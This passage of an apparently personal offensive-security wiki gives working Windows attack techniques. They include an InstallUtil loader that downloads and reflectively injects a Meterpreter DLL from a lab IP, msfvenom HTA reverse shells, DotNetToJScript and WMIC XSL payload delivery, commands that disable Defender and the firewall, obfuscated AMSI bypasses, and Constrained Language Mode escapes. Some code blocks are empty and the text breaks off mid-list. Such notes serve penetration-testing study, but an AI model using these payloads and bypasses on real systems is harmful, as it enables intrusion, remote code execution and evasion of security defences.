* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── habssuck.wtf        ← dummy trigger file (extension is arbitrary)&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   ← malicious DLL&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
